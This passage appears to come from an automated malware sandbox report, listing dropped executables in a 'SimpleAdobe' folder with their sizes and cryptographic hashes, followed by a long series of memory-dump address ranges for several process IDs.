                                                                                                                  bce36a4a293ef5e8dd535a85c12d0dc5629c3444bdf91704a3d942d899b355d35717a6786b5fb7b3c9e406fef77bf1982a43946b03bc19b2a245db4a6f168e28

                                                                                                                  Download Submit

                                                                                                                • C:\Users\Admin\Documents\SimpleAdobe\gMC6A6SQ33iFgmfhOagSNS4i.exe
                                                                                                                  Filesize

                                                                                                                  4.2MB

                                                                                                                  MD5

                                                                                                                  df8bc20d6d4c7e66a8d0b2fb75e2cb99

                                                                                                                  SHA1

                                                                                                                  5b0a5995d233907e802ce289c5433e7b416969a7

                                                                                                                  SHA256

                                                                                                                  1dcf0f609f8e6867fe4a7b49c97d5674fefe7a64fdb82de1fd819a3b96a8d8f9

                                                                                                                  SHA512

                                                                                                                  7d6ac3b5afb3babc0ff8d807a0c4f6b2c314e841b30b1f8fb734b573f001c7c41a19fe69c8457ba9f35a5ead78de11e65d9a59d3142cc41d1c3ba91d7917b00a

                                                                                                                  Download Submit

                                                                                                                • C:\Users\Admin\Documents\SimpleAdobe\pceUgwNB1y0YfqLCqhRMQKLF.exe
                                                                                                                  Filesize

                                                                                                                  3.1MB

                                                                                                                  MD5

                                                                                                                  2e4383bdf02d9658512afeff4b9a634f

                                                                                                                  SHA1

                                                                                                                  fb519e90aad74705a133fc5c32f5e2e4a194f48f

                                                                                                                  SHA256

                                                                                                                  f53ae4631a31583c2c979601780b7ff6ff5ab30ff8b740c839d722766718211e

                                                                                                                  SHA512

                                                                                                                  309bf2391f7792fa09161b8c0ce652a2d1e5596ab15655eef693a100d5f94df4778ea2cc86643bf80eb353969657ae4160b40e2acc72e88fdd370dda30b714ad

                                                                                                                  Download Submit

                                                                                                                • C:\Users\Admin\Documents\SimpleAdobe\zEfo2aaTGtY8Jlw7voPE_fRy.exe
                                                                                                                  Filesize

                                                                                                                  4.7MB

                                                                                                                  MD5

                                                                                                                  1570c3c8a9782660e2e96a584d620c68

                                                                                                                  SHA1

                                                                                                                  4710a5198ddfb7a6af032ea783136b03bd7bea19

                                                                                                                  SHA256

                                                                                                                  8a2b3b8e6b4b4dd888503f88003177f842b8601a43397a8abb5827e866ab2c70

                                                                                                                  SHA512

                                                                                                                  e66186ae33d9858ca6bccb399c8dbba1d36f5799c5a11415dc163637987105bd9753eb703959dffc0319c713b56fc174182bf3e88de7137b34ec7cae8404de2f

                                                                                                                  Download Submit

                                                                                                                • memory/976-1801-0x0000000004190000-0x00000000044E4000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  3.3MB

                                                                                                                  Download

                                                                                                                • memory/976-1813-0x0000000004C60000-0x0000000004C82000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  136KB

                                                                                                                  Download

                                                                                                                • memory/976-1811-0x0000000005800000-0x0000000005896000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  600KB

                                                                                                                  Download

                                                                                                                • memory/976-1812-0x0000000004C10000-0x0000000004C2A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  104KB

                                                                                                                  Download

                                                                                                                • memory/976-1806-0x0000000004D80000-0x0000000004DCC000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  304KB

                                                                                                                  Download

                                                                                                                • memory/1280-396-0x00000000059F0000-0x0000000005B3E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  1.3MB

                                                                                                                  Download

                                                                                                                • memory/1280-285-0x0000000000B60000-0x0000000000F52000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  3.9MB

                                                                                                                  Download

                                                                                                                • memory/1904-6-0x00007FF6C6080000-0x00007FF6C6827000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.7MB

                                                                                                                  Download

                                                                                                                • memory/1904-2-0x00007FF6C6080000-0x00007FF6C6827000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.7MB

                                                                                                                  Download

                                                                                                                • memory/1904-585-0x00007FF6C6080000-0x00007FF6C6827000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.7MB

                                                                                                                  Download

                                                                                                                • memory/1904-151-0x00007FF6C6080000-0x00007FF6C6827000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.7MB

                                                                                                                  Download

                                                                                                                • memory/1904-1-0x00007FF8484F0000-0x00007FF8484F2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  8KB

                                                                                                                  Download

                                                                                                                • memory/1904-581-0x00007FF6C61E5000-0x00007FF6C63F7000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  2.1MB

                                                                                                                  Download

                                                                                                                • memory/1904-141-0x00007FF6C61E5000-0x00007FF6C63F7000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  2.1MB

                                                                                                                  Download

                                                                                                                • memory/1904-0-0x00007FF6C61E5000-0x00007FF6C63F7000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  2.1MB

                                                                                                                  Download

                                                                                                                • memory/2184-1794-0x0000000000F30000-0x00000000015F1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.8MB

                                                                                                                  Download

                                                                                                                • memory/2696-646-0x0000000000400000-0x00000000006C8000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  2.8MB

                                                                                                                  Download

                                                                                                                • memory/3024-313-0x00000000008A0000-0x000000000108C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.9MB

                                                                                                                  Download

                                                                                                                • memory/3024-306-0x00000000008A0000-0x000000000108C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.9MB

                                                                                                                  Download

                                                                                                                • memory/3024-288-0x00000000008A0000-0x000000000108C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.9MB

                                                                                                                  Download

                                                                                                                • memory/3024-314-0x00000000008A0000-0x000000000108C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.9MB

                                                                                                                  Download

                                                                                                                • memory/3024-289-0x00000000008A0000-0x000000000108C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.9MB

                                                                                                                  Download

                                                                                                                • memory/3024-256-0x00000000008A0000-0x000000000108C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.9MB

                                                                                                                  Download

                                                                                                                • memory/3024-1793-0x00000000008A0000-0x000000000108C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.9MB

                                                                                                                  Download

                                                                                                                • memory/3024-255-0x00000000008A0000-0x000000000108C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.9MB

                                                                                                                  Download

                                                                                                                • memory/3024-307-0x00000000008A0000-0x000000000108C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  7.9MB

                                                                                                                  Download

                                                                                                                • memory/3140-1496-0x0000000005C10000-0x0000000006238000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.2MB

                                                                                                                  Download

                                                                                                                • memory/3140-1507-0x00000000058F0000-0x0000000005912000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  136KB

                                                                                                                  Download

                                                                                                                • memory/3140-1513-0x0000000005990000-0x00000000059F6000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  408KB

                                                                                                                  Download

                                                                                                                • memory/3140-1518-0x0000000006340000-0x0000000006694000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  3.3MB

                                                                                                                  Download

                                                                                                                • memory/3140-1489-0x00000000032E0000-0x0000000003316000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  216KB

                                                                                                                  Download

                                                                                                                • memory/3140-1571-0x0000000006820000-0x000000000683E000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  120KB

                                                                                                                  Download

                                                                                                                • memory/3380-335-0x0000000005370000-0x00000000054F0000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  1.5MB

                                                                                                                  Download

                                                                                                                • memory/3380-303-0x00000000052B0000-0x000000000534C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  624KB

                                                                                                                  Download

                                                                                                                • memory/3380-292-0x00000000005A0000-0x00000000009D8000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4.2MB

                                                                                                                  Download

                                                                                                                • memory/3400-365-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-369-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-361-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-359-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-357-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-355-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-353-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-351-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-349-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-347-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-345-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-343-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-341-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-339-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-337-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-336-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-332-0x0000000003600000-0x000000000361C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  112KB

                                                                                                                  Download

                                                                                                                • memory/3400-375-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-377-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-379-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-363-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-367-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-291-0x0000000000E40000-0x00000000012F8000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  4.7MB

                                                                                                                  Download

                                                                                                                • memory/3400-331-0x0000000005D10000-0x0000000005DDC000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  816KB

                                                                                                                  Download

                                                                                                                • memory/3400-371-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3400-373-0x0000000003600000-0x0000000003615000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  84KB

                                                                                                                  Download

                                                                                                                • memory/3404-293-0x0000000000300000-0x0000000000EBA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.7MB

                                                                                                                  Download

                                                                                                                • memory/3404-311-0x0000000000300000-0x0000000000EBA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.7MB

                                                                                                                  Download

                                                                                                                • memory/3404-1792-0x0000000000300000-0x0000000000EBA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.7MB

                                                                                                                  Download

                                                                                                                • memory/3404-333-0x0000000000300000-0x0000000000EBA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.7MB

                                                                                                                  Download

                                                                                                                • memory/3404-294-0x0000000000300000-0x0000000000EBA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.7MB

                                                                                                                  Download

                                                                                                                • memory/3404-315-0x0000000000300000-0x0000000000EBA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.7MB

                                                                                                                  Download

                                                                                                                • memory/3404-232-0x0000000000300000-0x0000000000EBA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  11.7MB

                                                                                                                  Download

                                                                                                                • memory/5036-1452-0x00000000098F0000-0x0000000009966000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  472KB

                                                                                                                  Download

                                                                                                                • memory/5036-1453-0x0000000008DE0000-0x0000000008DFE000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  120KB

                                                                                                                  Download

                                                                                                                • memory/5036-635-0x0000000000400000-0x0000000000480000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  512KB

                                                                                                                  Download

                                                                                                                • memory/5072-215-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  80KB

                                                                                                                  Download

                                                                                                                • memory/5328-599-0x0000000000400000-0x00000000006C8000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  2.8MB

                                                                                                                  Download

                                                                                                                • memory/5328-622-0x0000000000400000-0x00000000006C8000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  2.8MB

                                                                                                                  Download

                                                                                                                • memory/5408-1421-0x0000000005BE0000-0x0000000005C46000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  408KB

                                                                                                                  Download

                                                                                                                • memory/5408-626-0x00000000052D0000-0x00000000052E2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  72KB

                                                                                                                  Download

                                                                                                                • memory/5408-623-0x0000000005050000-0x000000000505A000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  40KB

                                                                                                                  Download

                                                                                                                • memory/5408-620-0x0000000005080000-0x0000000005112000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  584KB

                                                                                                                  Download

                                                                                                                • memory/5408-1479-0x00000000075F0000-0x0000000007B1C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  5.2MB

                                                                                                                  Download

                                                                                                                • memory/5408-629-0x0000000005330000-0x000000000536C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  240KB

                                                                                                                  Download

                                                                                                                • memory/5408-1475-0x0000000006EF0000-0x00000000070B2000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  1.8MB

                                                                                                                  Download

                                                                                                                • memory/5408-625-0x00000000053C0000-0x00000000054CA000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  1.0MB

                                                                                                                  Download

                                                                                                                • memory/5408-605-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  320KB

                                                                                                                  Download

                                                                                                                • memory/5408-624-0x0000000006160000-0x0000000006778000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.1MB

                                                                                                                  Download

                                                                                                                • memory/5408-630-0x00000000054D0000-0x000000000551C000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  304KB

                                                                                                                  Download

                                                                                                                • memory/5408-609-0x0000000005590000-0x0000000005B34000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  5.6MB

                                                                                                                  Download

                                                                                                                • memory/6012-1795-0x0000000000F30000-0x00000000015F1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.8MB

                                                                                                                  Download

                                                                                                                • memory/6012-634-0x0000000000F30000-0x00000000015F1000-memory.dmp

                                                                                                                  Filesize

                                                                                                                  6.8MB

                                                                                                                  Download